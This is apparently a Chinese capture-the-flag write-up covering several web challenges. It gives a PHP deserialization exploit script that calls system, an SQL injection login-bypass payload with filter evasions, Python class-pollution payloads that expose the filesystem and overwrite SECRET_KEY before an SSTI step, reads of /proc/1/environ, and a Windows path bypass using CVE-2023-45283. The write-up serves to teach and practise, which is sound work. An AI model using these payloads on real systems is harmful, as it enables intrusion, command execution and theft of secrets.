WEB

Really_Ez_Rce

img

第一步用数组就能直接绕过,第二步经过测试可以用$5进行隔断执行命令,

img

拿到flag

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

第一步,需要绕过的点是throw new Exception(‘What do you want to do?’); 可以看文章

https://xz.aliyun.com/news/11289

然后就能进行反序列化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;

}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
}
class HeiCaFei{
public $HongCaFei='system';

}

$a =new GoGOGO();
$h = new HeiCaFei();
$a->dengchao=new DouBao();
$a->dengchao->Dagongren=['1'];
$a->dengchao->Bagongren=['0'];
$a->dengchao->dao=[$h,'ls /'];

$b=array($a,0);

echo serialize($b);

?>

exp,这里主要难点是call_user_func_array第二个参数给我们确定了,我们可以像第一个参数传入一个数组,这样就能够忽滤掉第二个参数,从而执行命令

img

半成品login

img

弱密码

img

sql注入,要拿到flag

既然放在了hacker*****下,我们就尝试登陆,

需要的sql语句:

1
select * where username='hacker' and password='1' or username like 'hacker%'

首先,and的优先级时比or大的,只要or的前者不满足条件就会选中后者,后者用%进行一个模糊搜索(只要时hacker开头的会被选中),因此可直接登录进,无需密码

payload

1
username=hacker&password=1' || username like'hacker%'#

img

这里payload空格和引号被过滤了,空格使用,/**/绕过,或者使用%a0应该也可以,引号使用两次url编码

DeceptiFlag

img

这边有一个隐藏的输入框,可以删掉,按钮有个判定的重定向,

一个是xiyangyang,一个是huitailang

img

flag.php下是假的的flag,看一下环境变量是/proc/1/environ

img

奇怪的咖啡店

非预期

img

很明显的python原型链的污染

img

这时候我们可以污染静态文件,实现任意文件读取

{“init“:{“globals“:{“app”:{“_static_folder”: “/“}}}}

当然__init__是类实例的属性,这题不需要(这题是函数对象),只能直接用__globals__(不影响)

{“globals“:{“app”:{“_static_folder”: “/“}}}

{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f”: {“\u0061\u0070\u0070”: {“\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072”: “\u002f”}}}

访问/proc/1/environ

img

预期

先利用上述污染掉static

在读取app.py完整文件

img

这边是要打ssti

污染key

img

{“globals“: {“app”: {“config”: {“SECRET_KEY”: “123”}}}}

{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f”: {“\u0061\u0070\u0070”: {“\u0063\u006f\u006e\u0066\u0069\u0067”: {“\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059”: “123”}}}}

再污染掉

{“globals“ : {“param_black_list” : [“123”]}}

{“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f” :{“\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074” : [“123”]}}

然后构造session

img

命令执行成功

img

img

watch

img

我们进入环境之后,是一个文件读取,可以读取任意文件,但是不能直接进行目录穿越读取D盘里的内容

img

然后解决办法就是使用, CVE-2023-45283 ,一个cve漏洞,??\C:会被解析为C:从而达到绕过安全检测

img

拿到key

img

得到flag

img

两个re+web波煮是真不会re